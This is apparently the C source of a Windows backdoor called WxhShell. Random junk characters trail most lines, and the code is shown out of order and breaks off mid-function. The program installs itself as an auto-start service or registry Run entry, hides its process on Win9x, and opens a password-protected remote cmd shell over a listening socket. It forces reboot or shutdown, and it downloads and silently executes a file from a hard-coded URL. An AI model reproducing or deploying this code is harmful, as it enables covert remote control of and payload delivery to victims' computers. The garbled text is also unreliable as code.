  // 关机 @@xO+$6  
  case 'd': { ov\Ct%]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }iPo8Ra  
    if(Boot(SHUTDOWN)) @D fkGm[%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jj=yG"$!  
    else { f![xn2T  
    closesocket(wsh); 5wzQ?07T_  
    ExitThread(0); ?)!SmN/  
    } ,pDp>-vI%  
    break; "2ZIoa!^  
    } wD<vg3e[H  
  // 获取shell X!U]`Qh  
  case 's': { DapQ}2'_  
    CmdShell(wsh); Rz`@N`U  
    closesocket(wsh);  4]"a;(  
    ExitThread(0); &e%{k@  
    break; E=;BI">.  
  } e ZynF<i  
  // 退出 >:.w7LQy/  
  case 'x': { CHPL>'NJzc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xM%H~(  
    CloseIt(wsh); _TZW|Dh-2F  
    break; ~J%R-{U9  
    } jZa25Z00  
  // 离开 zTkFX67)  
  case 'q': { lN);~|IOv7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h^['rmd  
    closesocket(wsh); IKvd!,0xf  
    WSACleanup(); w|&,I4["  
    exit(1); vAi"$e  
    break; /r>IV`n{  
        } U!x0,sr  
  } $ b4*/vMr  
  } zs4>/9O  
fG<Dhz@  
  // 提示信息 k& OC&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DD2adu^  
} !{ $qMhT  
  } :]EP@.(  
Z#CxQ D%\  
  return; |drf"lX<{  
} OSU{8.  
]GcV0&|  
// shell模块句柄 8098y,mQe  
int CmdShell(SOCKET sock) [C~fBf5  
{ w(/7Jt$  
STARTUPINFO si; 6j_ 678  
ZeroMemory(&si,sizeof(si)); 0%/,>IR>r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SK?I.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iM8sX B  
PROCESS_INFORMATION ProcessInfo; [U swf3  
char cmdline[]="cmd"; ?qy*s3 j'M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cxgE\4_u"  
  return 0; p*Xix%#6  
} gglf\)E;}E  
U4=]#=R~o  
// 自身启动模式 l/[pEUYU  
int StartFromService(void) 3eWJt\}?B  
{ X2LV&oi  
typedef struct WX LK89ev\  
{ Cc2MYm8  
  DWORD ExitStatus; oI*d/*  
  DWORD PebBaseAddress; '|_/lz$h  
  DWORD AffinityMask; 2R\+}  
  DWORD BasePriority; B4IBuS  
  ULONG UniqueProcessId; @`6}`k  
  ULONG InheritedFromUniqueProcessId; "$r 1$mBi  
}   PROCESS_BASIC_INFORMATION; ^}hJL7O'  
oooS s&t  
PROCNTQSIP NtQueryInformationProcess; ;uK";we  
o OQ'*7_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #,TELzUVE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BGN9, ii  
^,`M0g\$  
  HANDLE             hProcess; 7|Xe&o<n  
  PROCESS_BASIC_INFORMATION pbi; %Uf'+!4l`  
;I+H>$%jZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 07FT)QTE  
  if(NULL == hInst ) return 0; VtWT{y5Ec  
d+0^u(gc!8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /9Z!p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b4)k&*dfR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i-]U+m*  
Y[@0qc3UO  
  if (!NtQueryInformationProcess) return 0; *,&S',S-  
x)_r@l`$ix  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |kc@L`7s  
  if(!hProcess) return 0; %A) 538F  
e}e6r3faz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >azEed<B  
!VRo*[yD@  
  CloseHandle(hProcess); yPN+W8}f  
(0R2T"/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z&F5mp@  
if(hProcess==NULL) return 0; |mOMRP#'  
`7\H41%\pp  
HMODULE hMod; tDt :^Bc  
char procName[255]; G|*G9nQ  
unsigned long cbNeeded; q/x/N5HU  
@$c!/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~j"3}wXc5  
u{Ak:0G7  
  CloseHandle(hProcess); )NIv  "Q  
r^5jh1  
if(strstr(procName,"services")) return 1; // 以服务启动 P#;Th8k{K2  
AG>\aV"b  
  return 0; // 注册表启动 NO4Z"3Pd_  
} e2wvc/gG6  
NbkK&bz  
// 主模块 9`Vc  
int StartWxhshell(LPSTR lpCmdLine) RG1\=J$:E  
{ > c:Zx!  
  SOCKET wsl; Sc_5FX\Yx  
BOOL val=TRUE; [0!{_E)<  
  int port=0; U=QA  e  
  struct sockaddr_in door; (O0byu}  
J@Yj\9U  
  if(wscfg.ws_autoins) Install(); M1{(OY(G  
8UM0vNk  
port=atoi(lpCmdLine); p+Lv=e)0u  
H+x#gK2l  
if(port<=0) port=wscfg.ws_port; F#|Z# Mu  
FmD +8=  
  WSADATA data; !8/gL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MGaiTN^_<  
X8R1a?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LGVlc@0'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N|Habua<Xw  
  door.sin_family = AF_INET; 1Es qQz*$u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^P$7A]!  
  door.sin_port = htons(port); A ~&+F>Z  
"~\*If  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,g|2NjUAc  
closesocket(wsl); g>n0z5&TNF  
return 1; IU9, (E  
} h<NRE0-  
#>[wD#XJV  
  if(listen(wsl,2) == INVALID_SOCKET) { k|B2@{  
closesocket(wsl); u)~s4tP4  
return 1; lT,+bU  
} : Ss3ck*=  
  Wxhshell(wsl); W[|[;{  
  WSACleanup(); F,pCR7o>  
<|H ?gfM  
return 0; L|\Diap  
 AP w6  
} 1X&B:_  
P']Y( !L  
// 以NT服务方式启动 Xw^X&Pp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MZ~.(&  
{ 1VLLo~L%  
DWORD   status = 0; SdI1}&  
  DWORD   specificError = 0xfffffff; KY+]RxX  
t.U{Bu P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O?E6xc<8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Funj!x'uE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RGp'b  
  serviceStatus.dwWin32ExitCode     = 0; Ub)M*Cq0(o  
  serviceStatus.dwServiceSpecificExitCode = 0; 98UlNP  
  serviceStatus.dwCheckPoint       = 0; /aOlYqM(>  
  serviceStatus.dwWaitHint       = 0; XKSX#cia  
Le&;g4%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -3vh!JMN  
  if (hServiceStatusHandle==0) return; v}P!HczmMP  
(}~ucI<~  
status = GetLastError(); @vAFfYU9<.  
  if (status!=NO_ERROR) oAz<G  
{ |Fp'/~|w2d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 38wq (  
    serviceStatus.dwCheckPoint       = 0; n7DLJ`ho{  
    serviceStatus.dwWaitHint       = 0; ?Aw3lH#:  
    serviceStatus.dwWin32ExitCode     = status; %wW'!p-<  
    serviceStatus.dwServiceSpecificExitCode = specificError; -*3(a E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]l&'k23~p  
    return; -tyaE  
  } ke6n/ h5`  
X6kaL3L}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P` ]ps?l  
  serviceStatus.dwCheckPoint       = 0; a8QfkOe  
  serviceStatus.dwWaitHint       = 0; o?\Gm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  XhA4:t  
} sam[s4@eQ  
v, 0<9!'v  
// 处理NT服务事件,比如:启动、停止 OG}KqG!n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "dq>) JF\  
{ hBy*09Sv  
switch(fdwControl) iT$d;5_pU  
{ PWG;&ma  
case SERVICE_CONTROL_STOP: U8[Qw}T P  
  serviceStatus.dwWin32ExitCode = 0; {u4i*udG`)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EL +,jrU~  
  serviceStatus.dwCheckPoint   = 0; d?}hCo=/Xq  
  serviceStatus.dwWaitHint     = 0; 3):?ZCw7y  
  { ;qb Dbg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PW)8aLU  
  } O! (85rp/  
  return; -( Kh.h  
case SERVICE_CONTROL_PAUSE: c(&AnIlS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }5hZo%w[n  
  break; >#?iO]).  
case SERVICE_CONTROL_CONTINUE: ;-Ado8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &Ea"hd  
  break; tWX7dspx/  
case SERVICE_CONTROL_INTERROGATE: 9 tAE#A  
  break; y9ip[Xn-$:  
}; I1i:}g/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )w3 ,   
} IywiCMjH  
ydyG}XI7V  
// 标准应用程序主函数 Rv,Mu3\~#c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ->3uOF!q  
{ 8W@dtZ,d  
TH>,v  
// 获取操作系统版本 wBE7Bv45  
OsIsNt=GetOsVer(); 4uPH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <OIUyZS  
Qxky^:B  
  // 从命令行安装 1]Lhk?4t  
  if(strpbrk(lpCmdLine,"iI")) Install(); cB<O.@  
 }Zt.*%  
  // 下载执行文件 (H P z  
if(wscfg.ws_downexe) { R~$hWu}}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {x9j_/R  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'H!V54 \j  
} pbPz$Y  
C_-%*]*,j  
if(!OsIsNt) { OgQntj:%lN  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;}UzJe ,S  
HideProc(); ]I8]mUiUH  
StartWxhshell(lpCmdLine); .(JE-upJ"  
} PP],HB+*[  
else [z^Od  
  if(StartFromService()) '!AT  
  // 以服务方式启动 WejyYqr34-  
  StartServiceCtrlDispatcher(DispatchTable); *q}FV2  
else k{_1r;  
  // 普通方式启动 &yB%QX{3  
  StartWxhshell(lpCmdLine); WFRsSp2  
R08&cd#$  
return 0; >B`Cch/ 'U  
} (VfwLo>#  
'y< t/qo  
v: giZxR  
z/)$D  
=========================================== W8< @sq~I  
c!.=%QY  
dr.**fGYde  
DE'Xq6#PK  
15o9CaQw4"  
+I*k0"gj6  
" F ~*zC`>Y  
keae.6[  
#include <stdio.h> m\_+)eI|  
#include <string.h> :wFb5"  
#include <windows.h> 6euR'd^Qi  
#include <winsock2.h> xT:qe  
#include <winsvc.h> _MGNKA6JI  
#include <urlmon.h> 2TE\4j  
p 7 , f6kG  
#pragma comment (lib, "Ws2_32.lib") 3Wjq>\  
#pragma comment (lib, "urlmon.lib") GVeL~Q  
)>ug{M%g  
#define MAX_USER   100 // 最大客户端连接数 >s;oOo+5  
#define BUF_SOCK   200 // sock buffer Jw2B&)k/  
#define KEY_BUFF   255 // 输入 buffer =g/4{IL%  
r;c' NqP  
#define REBOOT     0   // 重启 S4;wa6  
#define SHUTDOWN   1   // 关机 F(J\ctha  
s[Y)d>~\$=  
#define DEF_PORT   5000 // 监听端口 k}- "0>  
2O?Vr" A  
#define REG_LEN     16   // 注册表键长度 d&/^34gn  
#define SVC_LEN     80   // NT服务名长度 $5ZR [\$  
f1)HHUB  
// 从dll定义API OD{5m(JwL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rbx97(wK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !y.ei1diw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KDux$V4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <E D8"~_  
7xX;MB &  
// wxhshell配置信息 b{Z^)u2X  
struct WSCFG { suA+8}o]  
  int ws_port;         // 监听端口 ;M%oQ> ].[  
  char ws_passstr[REG_LEN]; // 口令 ^>3tYg&7  
  int ws_autoins;       // 安装标记, 1=yes 0=no $KoPGgC[  
  char ws_regname[REG_LEN]; // 注册表键名 j)g_*\tQ  
  char ws_svcname[REG_LEN]; // 服务名 qzuQq94k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pem3G5 `g=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &{X{36  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aQ.Iq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vF5wA-3&t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" clh3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ( rA\_FOJ  
ap Fs UsE  
}; X=rc3~}f  
xI=}z  
// default Wxhshell configuration Dj-\))L  
struct WSCFG wscfg={DEF_PORT, <C7M";54-  
    "xuhuanlingzhe", KzEuPJ?  
    1, i /O1vU#  
    "Wxhshell", .8u$z`j  
    "Wxhshell", Wl^prs7}c  
            "WxhShell Service", :z0s*,QH  
    "Wrsky Windows CmdShell Service", ig2{lEkF  
    "Please Input Your Password: ", zWCW:dI  
  1, 'hwV   
  "http://www.wrsky.com/wxhshell.exe", ,pQ'w7  
  "Wxhshell.exe" Cfv L)f  
    }; {0NsDi>(2  
37j\D1Y  
// 消息定义模块 (lyt"Ty  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ikEWY_1Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7Y-FUZ.`>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /3CHE8nSh  
char *msg_ws_ext="\n\rExit."; N0y;PVAGu  
char *msg_ws_end="\n\rQuit."; =yk Rki  
char *msg_ws_boot="\n\rReboot..."; t*Z .e.q+  
char *msg_ws_poff="\n\rShutdown..."; _H~pH7WU  
char *msg_ws_down="\n\rSave to "; q7 %=`l  
"_ PH"W  
char *msg_ws_err="\n\rErr!"; H(5S Kv5  
char *msg_ws_ok="\n\rOK!"; ?~VWW<lR  
>,w\lf9  
char ExeFile[MAX_PATH]; lKh2LY=j  
int nUser = 0; 2 pM  
HANDLE handles[MAX_USER]; "4Vi=*2V  
int OsIsNt; \N# HPrv}  
>cwJl@wx-  
SERVICE_STATUS       serviceStatus; ~6@c]:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nvO%  
B|]t\(~$ [  
// 函数声明 B#qL$M,|  
int Install(void); m6~ sKJV  
int Uninstall(void); boC>N   
int DownloadFile(char *sURL, SOCKET wsh); 2- Npw%;  
int Boot(int flag); 7 SjF9x  
void HideProc(void); {<- ouD  
int GetOsVer(void); ZXssvjWQV}  
int Wxhshell(SOCKET wsl); 'mBLf&fB  
void TalkWithClient(void *cs); )o " SB1  
int CmdShell(SOCKET sock); )H[h53bIq  
int StartFromService(void); z) ]BV=  
int StartWxhshell(LPSTR lpCmdLine); 8 7|8eU2:k  
d+YVyw.z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2g ?Jb5)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K^]?@oHO  
zn2"swhq\V  
// 数据结构和表定义 UZ4tq  
SERVICE_TABLE_ENTRY DispatchTable[] = 3&a*]  
{ WQIM2_=M  
{wscfg.ws_svcname, NTServiceMain}, xVHQ[I%  
{NULL, NULL} GM9]>"#o\  
}; Zi<Sw  
{jx#^n&5R  
// 自我安装 yO$r'9?,*  
int Install(void) :N*q;j>  
{ Ru9pb~K  
  char svExeFile[MAX_PATH]; ;4S [ba1/  
  HKEY key; G(7\<x:  
  strcpy(svExeFile,ExeFile); '$kS]U  
~Me&cT8  
// 如果是win9x系统,修改注册表设为自启动 4Rrw8Bw  
if(!OsIsNt) { %CsTB0Y7n,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D:6x*+jah)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VxPTh\O*[  
  RegCloseKey(key); K;ry4/Vap  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iaa (ce  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0+2Matk>.  
  RegCloseKey(key); 1^WA  
  return 0; +NzD/.gq  
    } L3G)?rPFC#  
  } W"}*Q -8W  
} bb O;AiHD  
else { AP?{N:+  
~qLhZR\g^  
// 如果是NT以上系统,安装为系统服务 }07<(,0n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i/ O,`2  
if (schSCManager!=0) G"UH4n[1ur  
{ `X.=uG+m  
  SC_HANDLE schService = CreateService ,rl <ye*&  
  ( L/ICFa.G  
  schSCManager, "]\":T  
  wscfg.ws_svcname, um0}`Xq^  
  wscfg.ws_svcdisp, nE "b`  
  SERVICE_ALL_ACCESS, cnUU1Uz>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HU'`kimWb  
  SERVICE_AUTO_START, }Bod#|`  
  SERVICE_ERROR_NORMAL, h>5~ (n8  
  svExeFile, BI]ut |Qw  
  NULL, x_H7=\pX]  
  NULL, IDk:jO  
  NULL, tgF(=a]o  
  NULL, hk$nlc|$  
  NULL  ~NW5+M(u  
  ); ##+ 8GLQM  
  if (schService!=0) :PjUl  
  { U-]PWt?C{  
  CloseServiceHandle(schService); $b 71  
  CloseServiceHandle(schSCManager);  ?Ge*~d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !\k#{ 1[!  
  strcat(svExeFile,wscfg.ws_svcname); C2,cyhr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { buM>^A"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z FrXw+  
  RegCloseKey(key); wM&x8 <  
  return 0; ?KuJs9SM  
    } I3[RaZ2z{  
  } AU?YZEAei  
  CloseServiceHandle(schSCManager); KZ >"L  
} ;eEtdoy  
} Nwu Be:"@  
.N><yQ-j3'  
return 1; ]A<u eM  
} {8p?we3l1  
c"&!=@  
// 自我卸载 8RT0&[  
int Uninstall(void) 9M~$W-5  
{ mE@o27  
  HKEY key; %>:)4A  
1#_j6 Q2  
if(!OsIsNt) { 6o23#JgN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j<-o{6r  
  RegDeleteValue(key,wscfg.ws_regname); }~,cCtg:o  
  RegCloseKey(key); \^W?   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8uD%]k=#!  
  RegDeleteValue(key,wscfg.ws_regname); <?@46d?C  
  RegCloseKey(key); "ZB`fNE  
  return 0; CpdY)SMSL  
  } 0YRYCO$  
} LzSusjEW@  
} K>JU/(  
else { E1Aa2  
X10TZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); krY.Cc]  
if (schSCManager!=0) %.gjBI=  
{ Pw{{+PBu R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q$*_C kT  
  if (schService!=0) bN %MT#X  
  { x(6.W"-S  
  if(DeleteService(schService)!=0) { m`0{j1K  
  CloseServiceHandle(schService); `X03Q[:q"[  
  CloseServiceHandle(schSCManager); nE.s  
  return 0; dOgM9P  
  } T<,tC"  
  CloseServiceHandle(schService); h0QQP  
  } U.} =j'Us+  
  CloseServiceHandle(schSCManager);  xyCcd=  
} j 0NPd^  
} J, U~ .c  
Ekp 0.c8:  
return 1; aV#;o9H{  
} 32'9Ch.  
itMc!bUQ  
// 从指定url下载文件 Lh$ac-Ct  
int DownloadFile(char *sURL, SOCKET wsh) 56aJE .?<  
{ <xz-7EqbwX  
  HRESULT hr; bTKxv<  
char seps[]= "/"; {D.0_=y~2  
char *token; $l"(tB7d  
char *file; ^?`,f>`M  
char myURL[MAX_PATH]; ZWW}r~d{  
char myFILE[MAX_PATH]; \"j1fAD!  
+6E<+-N  
strcpy(myURL,sURL); ,urkd~  
  token=strtok(myURL,seps); ]&BFV%kw  
  while(token!=NULL) lK@r?w|<M  
  { DzOJ{dF  
    file=token; ~kFRy{z  
  token=strtok(NULL,seps); +}'K6x_  
  } >qZRIDE5$  
_CT|5wQF<  
GetCurrentDirectory(MAX_PATH,myFILE); (P_+m#  
strcat(myFILE, "\\"); 2AE|N_v8W  
strcat(myFILE, file); 6?~pjMV  
  send(wsh,myFILE,strlen(myFILE),0); >0$5H]1u  
send(wsh,"...",3,0); F.hC%Ncu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GQ8P}McA  
  if(hr==S_OK) :v48y.Ij7s  
return 0; '93&?  
else evP`&23tP  
return 1; Fv B2y8&W  
m 9Q{ )?J7  
} 2/WXdo  
nV1, ):kh  
// 系统电源模块 o)DKP>IM#  
int Boot(int flag) @n3PCH6:Ao  
{ J0o[WD$A x  
  HANDLE hToken; )nVx 2m4  
  TOKEN_PRIVILEGES tkp;  _^ZII  
nwYeOa/t  
  if(OsIsNt) { ujBADDwOg)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p`0Tpgi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kxn=iv^Ir  
    tkp.PrivilegeCount = 1; kM@,^`&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (C|%@61S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8iB}a\]B  
if(flag==REBOOT) { ,'}ZcN2)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^ TS\x/P  
  return 0; lRq!|.C  
} %8/$CR  
else { &/" qOZAs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EWi@1PAZK  
  return 0; }K\_N]#6n  
} NgQl;$  
  } ]0O$2j_7  
  else { Bf.RYLsh6  
if(flag==REBOOT) { muLTYgaM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c1f6RCu$b  
  return 0; {z7{ta  
} /WMLr5  
else { ,b8AB_yw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B^Q#@[T   
  return 0; +oa]v1/W  
} =G`m7!Q)  
} }\F>z  
E*$:~w  
return 1; R.7" ZG  
} s?G@ k}{  
pJI H_H  
// win9x进程隐藏模块 5y)kQ<x"  
void HideProc(void) aVlHY E  
{ 7g$t$cZby,  
w;:,W@K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "v06F j>q  
  if ( hKernel != NULL ) `@90b 4u  
  { [O3R(`<e5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J';tpr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sr\MQ?\fB  
    FreeLibrary(hKernel); ifkA3]  
  } 6\`,blkX  
tPUQ"S  
return; ]lo O5  
} S'WmPv  
j EX([J1  
// 获取操作系统版本 a7Jr} "B  
int GetOsVer(void) nL$tXm-x  
{ srC jq  
  OSVERSIONINFO winfo; Gp14;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c}Qc2D3*  
  GetVersionEx(&winfo); ?E`J-ncP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lIf Our  
  return 1; k;)L-ge9  
  else 6l=n&YO  
  return 0; FvkKM+?F  
} q*T+8 O  
Deam%)bXM]  
// 客户端句柄模块 eRf 8'-"#-  
int Wxhshell(SOCKET wsl) $R^"~|m3M  
{ \3KCZ  
  SOCKET wsh; 8E" .y$AW  
  struct sockaddr_in client; Nb$)YMbA  
  DWORD myID; Mfgd;FsX#  
U{ Y)\hR-  
  while(nUser<MAX_USER) .VI2V-Q  
{ R(:q^?  
  int nSize=sizeof(client);  E$G8-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +n0y/0Au  
  if(wsh==INVALID_SOCKET) return 1; Y-Z.AA,  
<%!@cE+y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qvT9d7x  
if(handles[nUser]==0) wk3yz6V2  
  closesocket(wsh); !rXyw`6N  
else ut o4bs:  
  nUser++; q H+~rj  
  } )'qZ6%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m\Dbb.vBvW  
rod{77  
  return 0; rc$G0O  
} <5nz:B/  
[1s B  
// 关闭 socket `=FfzL  
void CloseIt(SOCKET wsh) $Q ?<']|A  
{ l9-(ofY*J  
closesocket(wsh); i |C'_gw`n  
nUser--; lc*<UZR  
ExitThread(0); %=GnGgu  
} D@!#79:)  
Fd3V5h  
// 客户端请求句柄 <Q%\ pAP}b  
void TalkWithClient(void *cs) "_9Dau$  
{ :sJVklK  
_PJd1P.k  
  SOCKET wsh=(SOCKET)cs; z0c_&@uj*  
  char pwd[SVC_LEN]; kMK-E<g  
  char cmd[KEY_BUFF]; Uc6P@O*,  
char chr[1]; "/wZtc  
int i,j; :dB6/@f W  
 d':c  
  while (nUser < MAX_USER) { 0p8(Q  
,zO!`|I  
if(wscfg.ws_passstr) { @<;0 h|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bz,C%HFA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iFpJ /L  
  //ZeroMemory(pwd,KEY_BUFF); U#-89.x  
      i=0; O TSbhI'v  
  while(i<SVC_LEN) { TTu<~GH  
y1z4qSeM  
  // 设置超时 8eQ 4[wJY  
  fd_set FdRead; usX aT(K  
  struct timeval TimeOut; )nQA) uz  
  FD_ZERO(&FdRead); k\I+T~~xD  
  FD_SET(wsh,&FdRead); >}Fe9Y.o  
  TimeOut.tv_sec=8; Wu?4oF  
  TimeOut.tv_usec=0; ``DS?pUY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "1yXOy^2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d%8hWlffz  
"'~55bG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZXlW_CGO  
  pwd=chr[0]; (w `9*1NO  
  if(chr[0]==0xd || chr[0]==0xa) { C/U^8,6\n  
  pwd=0; )w=ehjV^m  
  break; 5Z@OgR  
  } OLg=kF[[  
  i++; wak_^8x  
    } / p}^ Tpu  
+O8rjVg)  
  // 如果是非法用户,关闭 socket W!MO }0s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2Sz?r d,0f  
} &>,c..Ke  
%a$ l%8j&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eEl}.W}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ER-X1fD  
A 0~uv4MC  
while(1) { `o4alK\  
mO=bq4!  
  ZeroMemory(cmd,KEY_BUFF); FX}kH]  
2)cq!Zv  
      // 自动支持客户端 telnet标准   mhpaPin*JS  
  j=0; r~ N:|ip=  
  while(j<KEY_BUFF) { '~{bq'7`m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1<766  
  cmd[j]=chr[0]; 0&wbGbg(W  
  if(chr[0]==0xa || chr[0]==0xd) { a/p} ?!\  
  cmd[j]=0; )jc`_{PQg  
  break; M5\$+Tu  
  } _/xA5/V  
  j++; ^E-BB 6D  
    } 0;6eSmF  
iX (<ozH  
  // 下载文件 U4s)3jDw  
  if(strstr(cmd,"http://")) { N5K\h}'%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FglW|Hwy  
  if(DownloadFile(cmd,wsh)) rlMahY"C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?5VPV9EX  
  else |f67aN  
